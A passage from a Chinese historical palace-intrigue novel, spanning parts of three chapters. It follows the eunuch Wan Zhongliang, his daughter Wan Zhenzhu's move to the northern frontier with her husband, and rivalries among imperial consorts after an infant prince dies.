也不过是彼此双方都是在试探,在寻了各自的位置。 万忠良搁外面的印象,那跟亲闺女浑江公主嘛,感情淡薄三分。 可这些全是做给外人瞧的。在万忠良心里,他不想让人拿了把柄。 既然要做到位,在李贵妃那儿,不能过于冷淡。 那戏太假。毕竟万忠良就一个女儿,淡薄三分,也不代表了不闻不问。 可掺合太深,又不可能。万忠良的立身根本在洪福帝的身上。 这里面的分寸与把握,全看了万忠良的拿捏程度。 冬日,镐京都,皇宫,宫廷内苑。 李贵妃,不,又或者说是淑阳公主在赏雪。 瞧着一场雪后,又是梅花开的甚美。 淑阳公主跟身边人说道:“云婕妤善舞,一舞倾城,就在梅林里迷了陛下的心神。” “本宫倒不知道,那一舞,有多美,也真想瞧一瞧,见识一回。”淑阳公主这般感慨一番。 不止感慨,淑阳公主还是行动派。 在如此的情况下,淑阳公主去一回王贤妃寝宫。 “贵妃姐姐前来,倒是稀客。”王贤妃对于淑阳公主前来,有些好奇。 二人之间的年岁,王贤妃年长。 可二人宫中的位份排序里,贵妃在贤妃前面。 于是王贤妃客气一回,退让一回,称了一声李贵妃姐姐。 淑阳公主被人尊称一回姐姐,明明她也可以退让一步,得一个谦逊的名声。 奈何淑阳公主当初不得宠,一时心里堵,便是争了这一口气。 王贤妃敢喊,装了贤惠。淑阳公主就应承了,她就当了对方一声“姐姐”。 再往后,王贤妃瞧着淑阳公主的厚脸皮。王贤妃要脸,这不,一声“姐姐”的称呼就是保留下来。 “不是稀客,而是登门打扰了贤妃妹妹。”淑阳公主态度大方。 就好像她不是登门的客人,而是自在的主家一样。 宫人送上茶果点心,淑阳公主也是品一品。 那态度从容的,让王贤妃瞧了也是羡慕三分。 “冬日一场雪,最是纯白七分。”淑阳公主说道:“不如,宫廷内苑里的众姐妹们一起热闹一回。” “贤妃妹妹以为如何?到时候聚会一场,赏一赏冬日的梅林盛景。更是请陛下品评一二众姐妹们的才艺。”淑阳公主提了建议。 “此提议,甚好。”王贤妃没拒绝。 王贤妃不得宠,或者说除了因着三皇子在洪福帝跟前有一份体面外。 旁的圣宠,王贤妃争不到。 既然不得宠,王贤妃争了太长时间。如今,也算看开了。 王贤妃准备扶持新人。这不,有可能制造了机会,那当然得给下面人一点甜头尝一尝。 如此,让掌管宫务的王贤妃也是树立一番权威。 冬日,大晋的宫廷内苑,又是热闹一番。 大赵朝,万珍珠随着夫君已经远离了承天府。 离着燕京都远了,一路北行,往北镇而去。 一场雪后,一众人还是耽搁一回行程。 “雪大了,需在小城住几日。待雪小些,再是起程。”赵济世跟万珍珠说了安排。 “由着济世哥哥安排,我听了调遣便是。”万珍珠笑得开心。 这一场雪下了,城里像是披了银白的装。 瞧着很美。可待万珍珠在一日与夫君赵济世去城里赏一场景致,见识一二民间风情时。 万珍珠瞧到了另一番景致。 万珍珠提议,夫妻二人去了市井地。去瞧一瞧黎庶们生活的烟火气。 万珍珠更想了解大赵的民间模样。 冬日,天冷。 夫妻二人不止游玩一番,还玩得尽兴。于是,不急着赶回了暂住的驿站。 夫妻二人而是落脚了一处客栈。在客栈里,听一听酒客们的闲谈。 次日,夫妻二人醒来了。 当时天未亮,二人便起来。如此,瞧着最早的光景。 那会儿的万珍珠瞧见了,有打更人在配合了守小城的城卫一起运尸体。 朱门酒肉臭,路有冻死骨。 这是万珍珠真正的见着冻死骨。万珍珠沉默了。 明明瞧过这一座小城的烟火气。 城里物价很低。 百姓们经营产业,各有各的辛苦,各有各的感悟。 用着辛苦经营了一家的吃食,那等忙碌里的生机,让万珍珠很动容。 如今见着冻死骨,万珍珠很沉默。赵济世瞧着这等情况,他眉眼不动一下,似乎瞧习惯了。 “珍珠妹妹难受?”赵济世关切的问道。 “嗯。”万珍珠应一声。 “我一直觉得自己的好日子,很好,很好了。可如今一瞧天下的贫苦事,才发现自己过得好日子,比自己想像的更好,更会让许多人羡慕的。” 万珍珠想到前世今生。 前世,万珍珠过了苦日子,那等满门余一人的悲凉。 至今想起,还是头疼。 可再瞧着冻死骨,万珍珠心底不止悲凉。万珍珠更有感悟。 这一个世道啊,真坏。 说甚的世道吃人,真不是空口白牙,而是现实,残酷的现实。 “妹妹不舒坦,我们早些回驿站吧。”赵济世搀扶了万珍珠坐上马车。 途中,赵济世劝了一回万珍珠,他说道:“世道光景,年年总有冻死的贫人。” “妹妹瞧不得民间疾苦,心太善良。珍珠妹妹,这些怨不得谁,只能怨命。”赵济世说的坦荡。 因为在赵济世瞧来,这真的太寻常。 赵济世年少丧父丧母,他过了苦日子。为何做了游侠儿? 当年也是求一碗饭吃。 生于北镇,一身力气,学了拳脚功夫。若非拳头硬,能吃下了一碗游侠儿的饭食。 赵济世也懂,他当年不争上游。更可能也是冻死骨的一人。 因为争过抢过,赵济世更懂底层贫寒之人不容易。 同样的,那等不容易里,更蕴酿了人心的恶毒。 非是人心不想善,而是环境就摆那。资源就那么多。 谁多吃一口,注定会有人挨饿。 一旦挨饿,就会被淘汰。因为弱者,在很恶劣的环境里,连活着都是错误。 “……”万**动的执了夫君的手。 “济世哥哥,我非是太心善的人。我是自私之辈。” 万珍珠在剖了自己的心思。她慢慢的说道:“济世救民,我做不得,做不到的。” “我啊,还想努力了,不过是想配了济世哥哥。我想堂堂正正的站在济世哥哥的身旁。” 万珍珠吐露自己的心思,她说道:“至于途中,若能帮衬一二,我也愿意施了援手。” “可我的帮衬,颇为有限的。”万珍珠的能耐太小。 这天下又太大,苦命人太多。 万珍珠的陪嫁嬷嬷与丫鬟,那些人,个个有本事。 说是百里挑一,一点不为过。 她们从哪来,不外乎,也是从苦命人里挑出来的。 就因为万珍珠亲爹万忠良给的恩,他们得还了命。 还了命的忠诚,一辈子的事情。这等救命之恩的重量,太重了。 又或者说黎庶的命,重量太轻了。 这一份轻,反而让万珍珠不敢随意的动弹。 因为她得护了自己,尔后,才是救助旁人。 顺道的救援,万珍珠乐意。一旦过份的救援的,万珍珠不乐意。 因为收揽民心,还是很过份的收揽民心。在昭昭青史之上,这是野心家的标识。 一旦让天家误会了,那会惹了大麻烦。 这不,站了上位者的位置,有些事情不能做多了,做过了。 逾越了,好心成坏事,拖累了自家也可能的。 回了驿站。 万珍珠心里不安,她悄悄的唤来了万嬷嬷。 “嬷嬷,今个我瞧见了冻死骨。”万珍珠说了自己瞧过的一幕。 “殿下。”万嬷嬷劝道:“您不必在意,这些年里,您可是救了不少人。那些救不着的,只能怨命不好。” “他们啊,没遇着殿下这般的心善人。”万嬷嬷很坦然。 或者说,万嬷嬷这一番话是真心的。 “我心善?当不得。”万珍珠摆摆手。 “我只是想跟嬷嬷说说,差人在这一个冬日里,能收揽着孤儿,便是收揽了吧。冬日太寒,若是没人帮衬,有些孩子活不过这一个冬天的。” 万珍珠帮衬不了成人。万珍珠的手头银钱有限。 或者万珍珠自私也罢。有活命的机会,万珍珠更想留给孩子们。 哪怕她有私心,可她到底给孩子们一条活路。 那些孩子,在大赵的地界,在收揽后便是送往了北镇去。 北镇,在万珍珠心里,那是往后的大本营。 也是万珍珠心底的家。毕竟夫妻一体,夫妻落脚了北镇,北镇就会经营成了家。 “唯。”万嬷嬷应下话。 “嬷嬷,莫张扬了,让下面人还是谨慎些。让商社出头,还是以买了奴隶的借口吧。” 万珍珠又吩咐话道。 这是一个很坏的时代,奴隶光明正大的行于世道。 万珍珠心底很讨厌了奴隶的存在。 人生而不平等,奴隶的存在,那是更不平等。 因为人,他或她,已经跟财产划了一个平等号。 这让万珍珠觉得奴隶啊,若可以,真不存在为好。 特别是人为的划一条贱籍的存在。把一些底层人,那是踩在了淤泥里。 “殿下放心,奴婢省得。”万嬷嬷应下话,尔后,去办事。 关于多收揽一些孤儿。这一事,万珍珠瞒了外人,却不瞒了枕边人。 晚间,夫妻二人独处时。万珍珠把这一桩事情跟夫君讲一回。 “北镇商社经营的红红火火。我想着多积攒一些得用的人手。待将来,也是让家业拓展的更多面,更扎实。” 万珍珠说一说自己的打算。钱生钱,这还是小事。 在心底,若可能,拿了浑江郡的土地当家业,才算大事。 只事情没可能前,万珍珠当然不会提。 “这等事情,珍珠妹妹瞧着可行,那便行事即可。”赵济世赞同一回。 夫妻二人又说一番话。赵济世伸手,他捂了妻子的双手。 “天寒,我替珍珠妹妹暖暖手。”赵济世说道。 这双手暖着,赵济世的眼神更火热起来。 都是夫妻,一个眼神,哪有什么不懂得。 万**动的依偎进夫君的怀里,于是赵济世顺势就是抱起了万珍珠。 寝屋内,赵济世抱着妻子往床榻去。 床帐未放下,屋中烛光燃着。赵济世瞧着妻子躺于床榻上。 美人散发,份外诱人。 “珍珠妹妹真美,美的动人心,动人魄。”赵济世俯下身去。 万珍珠伸手,她勾了赵济世的脖颈,她吐气若幽兰。 这会儿带着小小的暖流,那是划过了赵济世的耳畔。 二人慢慢的越凑越近,两道身影往一处拢。 赵济世的耳边响了万珍珠的话语,她笑的温柔缱绻,说道:“我这一辈子就想迷惑住济世哥哥一人。” 第69章 大晋朝,镐京都,内城,浑江公主府。 万忠良一回府,他先给妻子牛二囡递了一封信。 牛二囡一接过来,忙是打开。尔后,又递了回去。 “夫君,我就识得几字,哪能读懂这书信。”牛二囡还是有自知之明。 牛二囡如今也想学识字,可这念头挺好。就是本人有一点不争气。 真是学识字,那跟读天书一样。 学了不少日子,字可能认识她,她就是不认识多少字。 牛二囡也认命了,她就不是读书的料子。 “成,我给你念一念。”万忠良接过书信,笑着回话道。 这家书从燕京都而来,便是二人的亲闺女万珍珠寄的书信。 在书信里,万珍珠问了爹娘的近况。也说了自己一切安好。 同时还提一句,说她与夫君一道起程,将往北镇,往后在北镇安家一事。 对于这等事情,万忠良心头有数。 倒是牛二囡一听后,讲道:“北镇,那多荒凉。” “珍珠去北镇,岂不是要吃苦了。”牛二囡原来不知道北镇在哪。 毕竟天下之大,牛二囡又不是学识渊博之人。 可打从女儿想要嫁给赵济世,夫君亲自查一查赵济世的底细后。 牛二囡就知道了女婿赵济世的底细。同时,北镇也是在牛二囡的心里生了根,知道北镇是什么模样。 对于北镇的评价,没人会评了富庶之地。 牛二囡知道亲闺女从繁华的燕京都离开,去了荒凉的北镇。 牛二囡替女儿心疼一回。 “都道夫妻一体。新婚宴尔的,女婿去了北镇。闺女不去,岂不是跟夫婿分开。那不妥当。”万忠良劝一回妻子。 “……”牛二囡一听,仔细一想,好像是这么一个道理。 亲闺女不跟女婿在一处,万一,那外面有了想攀附女婿的狐媚子呢? 虽然女婿当年求娶女儿时,千好万好,还立了誓言。 可问题在于牛二囡不怎么相信。 男人的嘴,骗人的鬼。未娶进门的媳妇,当然要哄一哄。 真是娶进门后,可能又是一番新态度。 怨不得牛二囡多心思,实在是她这一辈子见得多。 瞧得多,总之,薄情的郎君,牛二囡是真见识过的。 见识过了,这不,免不得要怀疑许多。 “夫君此话,也是对的。是我糊涂了。珍珠跟女婿新婚,他们确实应该多聚。夫妻不在一处,如何生了小辈儿孙。”牛二囡赞同一回夫君的话。 夫妻二人又是聊了一番,万忠良笑道:“你有话,有什么关切的只管讲。我替你写了家书就是。” “不止家书要差人送。我还给女婿和女儿备了新年礼物。”牛二囡又讲道。 “依你之意办即可。” 万忠良同意了妻子的要求。女儿不在跟前,多送一些新年礼物,万忠良觉得很合适。 这一日,夕食罢。 万忠良还跟妻子提了一事,道:“近日,咱会在宫廷里多当差一些日子。年前,可能回府的时候少些。” “你若觉得平日无趣,也可多参加一些聚会,消遣一二时光。”万忠良跟妻子讲道。 “好。”牛二囡应下话。 “夫君,你在宫廷当差,你也多注意身子骨。都说老来伴,我身边,也只余你了。”牛二囡心头感慨一回。 这话,牛二囡说的真心。她的跟前,除了能跟夫君说一说体己话。 旁人跟前,总是说话留三分余地的。 “咱会注意身子骨,咱还想长命百岁。”万忠良应了妻子的叮嘱。 只是在心头,万忠良有一些话没讲。 宫廷内苑,如今风波起。 万忠良瞧着,张昆揽了四皇子在手,那野心也是养起来。 三皇子那一边嘛,可有荣恩伯府。王贤妃还掌着宫务。 凭此,王贤妃与三皇子也不是好相与的。 只是有些事情嘛,那不重要。宫廷内苑,谁还没个野心。 大晋朝,镐京都,皇宫,宫廷内苑。 淑阳公主听着陪嫁嬷嬷的禀话,她笑了。笑得有一点猖狂。 “王贤妃好盘算。”淑阳公主是真的觉着,她是不是让人小瞧了。 “凭何王贤妃觉得,本宫要做她的棋子。一定上了她的棋局。” 淑阳公主很生气。 事情很简单,王贤妃想拉拢了淑阳公主。若是被人拉拢,这没甚的。 淑阳公主评估一二后,也会选了立场站一边。 偏生王贤妃空口白牙的,那想让人咬饵。这让淑阳公主就很生气。 淑阳公主觉得她让王贤妃小瞧了。 “殿下,您别生气。”陪嫁李嬷嬷劝话道。 “贤妃膝下有三皇子,自然有底气。”李嬷嬷说着大实话。 宫廷内苑,谁不让王贤妃三分。真不是凭着王贤妃的妃位身份。 更准确的说法,大家伙更在意了三皇子。 三皇子是王贤妃的亲儿子,王贤妃的未来前程远大的很。 “也难怪,贤妃有依仗啊。”淑阳公主心里恨。 只再恨,也改变不了事实。那就是王贤妃得意着。 可这一口恶气,淑阳公主还是憋屈的难受。 想到这些时,淑阳公主笑道:“本宫瞧着张公公还是太难了一些。四皇子啊,也是惹人喜爱。” 淑阳公主明面上得站了王贤妃这一边。可暗戳戳的,她不介意帮衬了张昆。 “殿下,这真成吗?”李嬷嬷迟疑了。 “四皇子也是皇子,也是天家血脉。陛下未曾册立东宫储君,将来会飘哪一朵云彩,又哪能肯定了?”淑阳公主说的淡然。 陪嫁李嬷嬷一听,也觉得公主此言,甚有道理。 宫廷内苑。 有些事情嘛,真瞒不了人。特别是万忠良这里,他的耳目灵通着。 对于宫廷内苑的争锋相斗,万忠良不太在意。 万忠良更在意了洪福帝的龙体安康。这一年,冬日,洪福帝病一场。 依着太医的说法,这一病,洪福帝得仔细的调养。 就洪福帝本人,这一位对美色入骨三分。 宫廷内苑,从来不缺美人。万忠良对于天子喜美人这一事,他不干涉。 万忠良认得清楚自己的身份,再得洪福帝信重,他也只是天子家奴。 偏生就是洪福帝的这一点子喜好,那是遇着大麻烦。 色是刮骨刀。 洪福帝贪恋美人,这还是寻常事。可一旦纵欲过度,那就是大问题。 就这问题上,万忠良还不敢自己去劝。他怕劝了,真伤了跟天子的感情。 于是隐晦的,暗戳戳的,万忠良小心的,偷偷的劝了几回。 见着劝不住。这劝人的活,万忠良就赏给了旁人。 像是张昆等人,那能混到天子跟前的。万忠良都给暗暗的安排了劝天子的活计。 奈何万忠良的想法好,他真担忧天子龙体。就是天子本人不甚领情。 洪福帝自己想做死,旁人也是没法子。 这不,洪福十七年的冬,这一病,洪福帝的底子还是伤了一些根。 至于调养的结果会如何?莫看太医说得花团锦簇,万忠良的心里真没底细。 大赵朝,北镇。 头一回踏足北镇的土地,万珍珠见识了跟燕京都不一样的风光。 这等时候,已经至年节。 “真好,赶上了。差一点就不能在北镇迎了新春佳日。”万珍珠呼了一口气,吐气成白。 “是啊,赶上了。”赵济世也赞同。 回了北镇,冬日萧杀。赵济世瞧着北镇的山山水水,他还是感情深厚。 这里的一草一木,一山峰一云朵。那都让赵济世铭刻于心湖里。 北镇的节度使衙门,这是赵济世要落脚的地方。 一归来,大队伍浩荡,自然瞒不住谁。 被节度使衙门当差的众官吏们迎接一回,赵济世很坦然。 他往后就是北镇的头,下面人当然要拜一拜了他这一座山头。 至于万珍珠这儿,一进节度使府邸后。万珍珠还挺适应。 这里荒凉一点,那也是在城外面。真进了城,瞧着这城池除了小一点。 旁的其余还成。也挺热闹的。 至于节度使的府邸,一住进来,万珍珠发现挺不错。 转念一想,如何都不可能让官员过了苦日子。 毕竟官员的下面,那还压迫着太多的苦命黎庶。 官员都叫苦,黎庶岂不是没法子 活了。 “殿下,下面的敕命一一递上拜贴,就想见一见您。”万嬷嬷呈了拜贴。 对此,万珍珠瞧一眼,没接过来。她只问道:“嬷嬷,这些拜贴,这郡府的敕命都递上来了名讳吗?” “有一家的女眷落下了。”万嬷嬷那当然是核实过。 谁想来,谁给的态度诚恳,那可能容易让人忽略。毕竟人多。 可一旦谁不想拜一拜女眷里的山头。那就成了显眼包。 这不,万珍珠一下子就记住了特立独行的一人。 “此,何人?”万珍珠问道。 “郡司马的夫人司徒氏。”万嬷嬷忙回道。 “司徒氏。”万珍珠呢喃一回。 “司徒氏是北镇本地的豪强。”万嬷嬷说一说司徒的背景。 “郡司马杨大人是司徒氏的赘婿。”万嬷嬷曝了猛料。 “赘婿?”万珍珠问一回。真不敢相信。 这世道男儿肯当了赘婿,还做到了郡司马的官职,太传奇了。 “司徒夫人病重,非是有意不递拜贴。”万嬷嬷赶紧的解释一回。 “原是如此。”万珍珠表示了理解。 人都重病,不能拜会,挺正常。毕竟没得带了一身病来,万一让好人也染了病气,那不是没事惹事嘛。 “嬷嬷,给我说一说这一位郡司马杨大人和其夫人的事。说说,我倒好奇,还想仔细的听一听。”万珍珠真是好奇。 万珍珠有问,万嬷嬷当然是有问必答。 于是万珍珠是知道了一些八卦。全是这一位杨司马的话题。 从这些旧日的故事来看,这位杨司马也不是什么好鸟。 杨司马不止自己是赘婿。他爹也是赘婿。 如今司徒家嘛,那瞧着比不得杨司马。杨司马是官。 司徒家这等豪强,上一辈人,上几辈人,皆了不得。可惜,这一辈人没有能够撑起门楣的。 司徒家瞧着一日不如一日。地方豪强,一旦弱了,很可能被人吞下。 好在司徒家还有杨司马这一位姻亲。也不止这一位当官的姻亲。 可偏就有杨司马这一位不讲究之辈。 “三代还宗,好笑。”万珍珠真是捂嘴想笑。 那杨司马的儿子全姓司徒。这不,到了孙子这一辈。 嫡长孙就要三代还宗,要跟祖父姓杨。 名头再好听,掩不住一个事实。当年杨司马能爬上去,司徒家出了大力。那是嫁女又添妆,又给人脉关系的支持。 可杨司马一朝翻身了,司徒家没落了。杨司马就想在孙辈这一代,那是改姓杨。 至于什么姓司徒?那是旧黄历。 “人心颇测啊。”万珍珠感慨一回。这时候的万珍珠有一点理解。 为何她有心,那是招了赘婿时,她爹不乐意。 真招赘婿,一定是娶了门弟不好的。毕竟真有骄傲气性的郎君,那没可能做了赘婿。 可这等赘婿一旦翻身,瞧着也张狂。 若如此,还不若给女儿挑了好亲事,高嫁也罢,门当户对也罢。 也好过让人骗了钱财与人脉,还搭上了一番的真感情。 万珍珠想着旧事,又瞧着在司徒家上演的“三代还宗”。 万珍珠都不知道说杨司马不要脸,还是说司徒家没能耐。 “司徒夫人也难。”万珍珠最后只能可怜一回司徒夫人。 “……”万嬷嬷神色莫明。 万珍珠瞧着这一幕,她说道:“这里面还有内幕?” “殿下聪慧。”万嬷嬷赶紧说道:“奴婢打探着一些八卦消息。郡府的一些人传了谣言,说当年的杨司马也憋屈。” “司徒夫人早年可不是好性子,对着夫婿也是喊打喊杀,还真动手揍了人。”万嬷嬷仔细的讲一讲一些市井传闻。 万珍珠听罢,对于司徒夫人的“河东狮吼”的大名,也是听了一番。 见此,万珍珠算明白。杨司马与司徒夫人,这一对夫妻的心结嘛,怕是很可能为真。 谣言嘛,总应该有三分真。至于七分假,那是常态。 来了北镇,又是安顿一番。 赵济世是新官上任,他还想点了三把火。 万珍珠这一边也是安顿一番,尔后,见一见敕命女眷们。 如此,万珍珠忙碌一番后,她得了闲功夫。 万珍珠又是想关心一番北镇的父老乡亲。特别是夫君赵济世的旧识们。 那十二位义弟们的亲眷,若是可能,万珍珠不会遗漏谁。 凭此,在北镇的新唐县伯府是收拾好。又挂了新门匾后。 万珍珠在新家见了马义这一位二弟的亲妹妹。 马小莲,人如其名,长得如水莲花。人美。 马小莲头一回来北镇的新唐县伯府。赵济世也凑巧着早一些归府。 这遇上了,述一述旧。 赵济世的眼中,马小莲也跟他的亲妹子一样。 “赵大哥。”马小莲唤了赵济世,唤得亲热。 万珍珠听着,耳疼。 “二妹来家,今个留饭。”赵济世笑道。 “济世哥哥说的在理,二妹妹是自家人,岂有不留饭的道理。”万珍珠当然是开开心心的留客,那显着跟夫君一条心。 马小莲听着万珍珠的称呼,她的目光又是瞄一眼赵济世。 “我全听赵大哥的,一切由嫂嫂安排。”马小莲对着万珍珠又福一礼。 “嫂嫂辛苦了。”马小莲讲道。 对于马小莲嘛,万珍珠没眼瞎。有些事情明摆着。 那没吃过猪肉,还是见过猪跑。 万珍珠瞧出来一点子的端倪。可瞧出来,她还不能揭了盖子。不然的话,太难堪了。 马小莲留在北镇的伯府里用一餐饭。尔后,万珍珠还留客。 又请马小莲住几日。 万珍珠是客客气气,马小莲不拒绝,她真应了。 当日,马小莲在客院暂住。 后宅正院。 万珍珠坐于梳妆台前,她在卸妆。这会儿的陪嫁万嬷嬷问道:“殿下,马二姑娘那儿,可差人盯紧了?” “那当然要盯着。莫出纰漏,没得伤了伯府的体面。”万珍珠交待话道。 对于马小莲,落万珍珠的眼中不过是一个局外人。 偏生这一个局外人的背后有马义,马义是赵济世的结拜二弟。 不看僧面看佛面,万珍珠总要顾惜一二分。 只不过嘛,万珍珠还想等一等。她也想瞧一瞧。 那马小莲往后,真会不会闹出来什么幺蛾子。 “殿下,您不必多心。伯爷待您,一心一意。奴婢们有眼睛,可瞧得出来。伯爷对殿下是一往情深,此心不改。” 万嬷嬷说话的态度很坚定。 万珍珠听的心里美滋滋。可就是太美好了,万珍珠敢一直相信吗? 万珍珠只能告诉自己,她得信。 因为赵济世待她的好摆在明面,那么,她不能拒绝了这一份好意。 只在心里,万珍珠还是觉得,唉,夫君太好了。 这不,肖想的狗子来了。 这狗子想吃自己的碗里肉,万珍珠当然不允许的。 伯府的客院里。 马小莲来做客,其时,这一日来拜访的不止她。 只敢留下来的,唯马小莲一人。 “姑娘,您这般做法,怕会恶了伯夫人?”马小莲的丫鬟担忧的说道。 “赵大哥多好的人,娶了嫂嫂。我这不是试探一二。怕什么。”马小莲很坦然。 马小莲心悦过赵济世吗?当然 。 马小莲骗不过自己的心,赵大哥衣锦还乡时,那会儿的意气丰发。 少女心掉落了,那就是一时的春心萌动。 马小莲爱幕上了亲兄长的结义大哥。可偏生,她欢喜了。 家里没人支持。 年少时遇着惊艳之辈,再想搁下,又岂是容易的事情。 马小莲的婚事,这不,成了兄长马义心头的难题。 马小莲这一回敢应承留下来做客。 不过是马小莲的不甘心。她想瞧瞧,她输在哪? 她肖想赵大哥时,谁都不看好。 可赵大哥迎娶了新妇,对方是堂堂的伯夫人。 不止如此。马小莲还知道,这一位大嫂嫂是公主殿下。 公主,那跟天上的仙子一样尊贵。马小莲有点自卑。 或者说她的自尊被人踩了脚底。 见着大嫂嫂万氏的第一眼,马小莲就知道她输了。 输的地方,不止是在家世上差一截,还在赵大哥的心思上。 赵大哥的眼神骗不了人。 马小莲瞧得分明。这不,她跟丫鬟说道:“我只想跟大嫂嫂好好的相处。” “这哪有错?”马小莲说的理直气壮。 这话不止说说,接下来的几日,马小莲还凑了大嫂嫂万氏的跟前。 多添一个小尾巴是什么感觉?原来的万珍珠不知道。 如今的万珍珠是知道了。 “妹妹,你瞧着我入神,可是对于盘帐有兴致?”万珍珠笑意盈盈的问道。 “……”马小莲瞧着管家理事的嫂嫂,她愣在当场。 “我原不知,北镇商社是嫂嫂的嫁妆。”马小莲抿一抿唇畔。 “如今知了,北镇多少亲戚全靠着嫂嫂的嫁妆在养活。”马小莲在这一刻知道自己彻底输了。 输得体无完肤。这是马小莲的感觉。 管家理事,马小莲当然知道一点。可她理解的跟面前大嫂嫂查看汇总的,那不是一码事情。 “原来,还得是嫂嫂配了大哥。你们真是天生的一对。”马小莲实话实说。 马小莲是北镇儿女,生在北地,她本来就是洒脱的性情。 一旦瞧上了,那便是放了心眼儿里。 可哪怕是押醋了。马小莲还要脸,还要体面。 真的干不要脸的事情,马小莲是舍不下脸面的。 “嫂嫂,我是不是丢脸了。”马小莲问道。 “此话何讲?”万珍珠问道。 “嫂嫂这般理事管家,我却不懂得。”马小莲实话实说。 “没人天生会什么,不会,学了便是。”万珍珠笑得坦然。 “那我跟嫂嫂学,嫂嫂可能教一教我。”马小莲问道。 马小莲不是聪明好奇,她就是想着,想学一学万嫂嫂。 马小莲认清楚了自己的短处,那么,补一补。 不是为了在赵大哥面前争一口气。而是她认输了,她把大嫂万氏当了先生尊敬。 在北镇这等读书人少的地方,先生,那可是尊称的。 马小莲是坦荡人,这不,做事就是摆明面上。不干那等阴私勾当。 “好。”万珍珠应下话。 万珍珠也想跟马小莲好好相处。或者说摸一摸马小莲的真正底细。 人嘛,天长日久,只要相处的时间久了。什么底细都是会曝光的。 第70章 大晋朝,镐京都,皇宫,职房。 万忠良小憩片刻,他刚入睡。叩叩敲门声响。 “……”万忠良醒来,尔后,起身。 “进来。”万忠良唤一句。 过片刻后,万忠良的干儿子进屋内。对万忠良行礼后,讲道:“干爹,出事儿。” “四皇子殿下殁了。”干儿子讲了一桩天大的事情。 万忠良抬头,眸中有光芒闪过。那是情绪太激动的表现。 当然也是一瞬间,尔后,万忠良的态度变得冷漠而平静。 “咱知了。”话罢。万忠良没继续交待什么。 万忠良这会儿赶紧去泰和宫的洪福帝跟前。 泰和宫。 洪福帝也在小憩。午间,洪福帝是歇一歇。 打从重病一场后,洪福帝觉得精神浅了许多。 于是就拾起了午睡这一个习惯。 这一日,洪福帝跟往常一样,不过睡了小半个时辰。 刚醒来,洪福帝就见着神情紧张的万大伴。 “启禀陛下。奴才刚得到消息,四皇子殿下殁了。” 万忠良赶紧说道。 “……”洪福帝愣在当场。愣了片刻后,他说道:“皇儿殁了?” “回陛下,小殿下殁了。”万忠良只能重复一遍。 洪福帝听得这话,提步便走。此时,往偏殿去。 泰和宫里,不止住着洪福帝。还住了三皇子、四皇子。 三皇子来年就满三岁。而四皇子,更是小婴儿一个。 此刻,洪福帝的心思不在旁处。他只念叨了小儿子。 对于洪福帝而言,他膝下的子嗣本来就少。 如今又少一个儿子,如锥心之痛。 万忠良陪在帝王身畔,跟随在落后帝王一步的位置。此时的万忠良心头也是一声叹息。 对于四皇子,哪怕其生母是淑妃朱凤曦。可万忠良没恶意。 对于皇嗣,万忠良一片赤诚。 奈何四皇子是早产儿,瞧着,这一季的时光是难熬过。 结果,就真没熬过去。 洪福帝到了时,宫人们跪了一地。张昆也在人群里跪着,他的神情有一点麻木。 对于四皇子早产这事情,张昆早有心里准备。 张昆就盼着四皇子平平安安长大,他一辈子的指望全挂在四皇子身上。 却不料,这心愿成了一场荒唐梦,没可能了。 四皇子已经夭折掉,张昆有万般念想全成空。 泰和宫的消息瞒不住人,特别是关乎了四皇子的事情。 宫廷内苑。 王贤妃得着消息时,她是暗戳戳的高兴一回。 “真是福薄呢。”王贤妃给了这样的评价。 在心头,王贤妃可高兴了。毕竟跟她亲儿子争圣宠的孽障是没了。 “上苍保佑,祖宗保佑。”王贤妃感激了所有能想到的漫天神佛。 对于王贤妃而言,洪福帝子嗣单薄又如何? 只要她的亲儿子三皇子好好儿的,王贤妃就心满意足。 “嬷嬷,赶紧吩咐下去,换了素色。莫张扬了。”王贤妃觉得她是暗戳戳得好处的。 那就不得瑟脸,免得让人嫉妒。 只在心头,王贤妃还是忍不住,那高兴的。 她觉得今天嘛,她能多吃两碗饭。 同为嫔妃,各人心情不同。 淑阳公主在知道四皇子夭折掉的事情后,她沉默片刻。 “本着谁得利,谁有嫌疑的情况。王贤妃,真可疑啊。”淑阳公主的话,那是在暗示一些事情。 “……”陪嫁李嬷嬷愣在当场。 李嬷嬷没得着下面的汇报,真不知道王贤妃暗害了四皇子。 不过主子这般讲,李嬷嬷当然是赞同一回。于是她说道:“殿下聪慧,这事情一眼就能瞧出来,贤妃得利,贤妃一定是幕后真凶。” “……”淑阳公主当然巴不得事情是这般走向。 “唉,可惜,本宫没有证据,不能指证了贤妃的阴谋诡计。更何况贤妃是三皇子的生母……” 淑阳公主又提了王贤妃的身份。这关连了三皇子。 如今的洪福帝就剩下一个儿子。三皇子的重要性,那太重要了。 “只是本宫心难安,免不得同情了小殿下。四皇子的生母淑妃不在了,若不然的话,不知道又得多伤心……” 淑阳公主说这话时,她的神情淡淡。 对于朱淑妃,淑阳公主没甚的好印象。反正是争宠的嫔妃,谁跟谁,那还不是敌人对手。 淑阳公主更在意着另外一桩事情。她跟李嬷嬷问道:“跟万内相那一边的干系,可还通畅?” “殿下放心,万 内相那儿的干系自然是一直通畅着。“李嬷嬷忙答道。 对于万内相不想在宫廷内苑偏帮谁?淑阳公主又不是瞧不出来。 可淑阳公主明白,拉拢人嘛,不是一朝一夕的事情。 慢慢拉拢,只要二人利益一致时,淑阳公主总能寻着机会的。 “递了消息,得让万内相知道了王贤妃的恶意与歹毒。”淑阳公主提道。 “唯。”李嬷嬷赶紧应下。 有证据,没证据,这不要紧。似是而非,这等嘴皮子的功夫,李嬷嬷能办妥当。 主要是四皇子没了,三皇子的优势太大。 李嬷嬷也是真相信了淑阳公主一定还有人手。 如此,才能在暗中查探到了这般隐秘的消息。至少,李嬷嬷是这般认为的。 可淑阳公主的心底,她在盘算了。万一,反正试一试嘛,万一让王贤妃倒台了呢。 于淑阳公主可是好事。若是可能的话,淑阳公主也太想了膝下有一个儿子。 哪怕当了养母也好。奈何淑阳公主想得美,洪福帝没心思成全。 大赵,北镇,节度使府邸。 万珍珠在听着马小莲说一说北镇的冬日。说一说,那些过往的旧年月。 万珍珠乐意听,马小莲本来不是多舌之人。如今,马小莲发现她倒成了多舌之辈。 可有人乐意倾听,马小莲说的也开开心心。 北镇儿女,一旦跟人交好,就是掏心窝子的热忱。 “嫂嫂人好。”马小莲夸道。 “真好,不是假夸?”万珍珠笑问道。 “嫂嫂人真好。我马二妹可不说假话。”马小莲就差拍胸膛保证。 “嫂嫂,未见您时,我还在想着赵大哥会迎娶怎样的嫂嫂。”马小莲低了头。 “其时那会儿的赵大哥在我心底,真跟戏文里的英雄一样。”马小莲说了小儿女的心思。 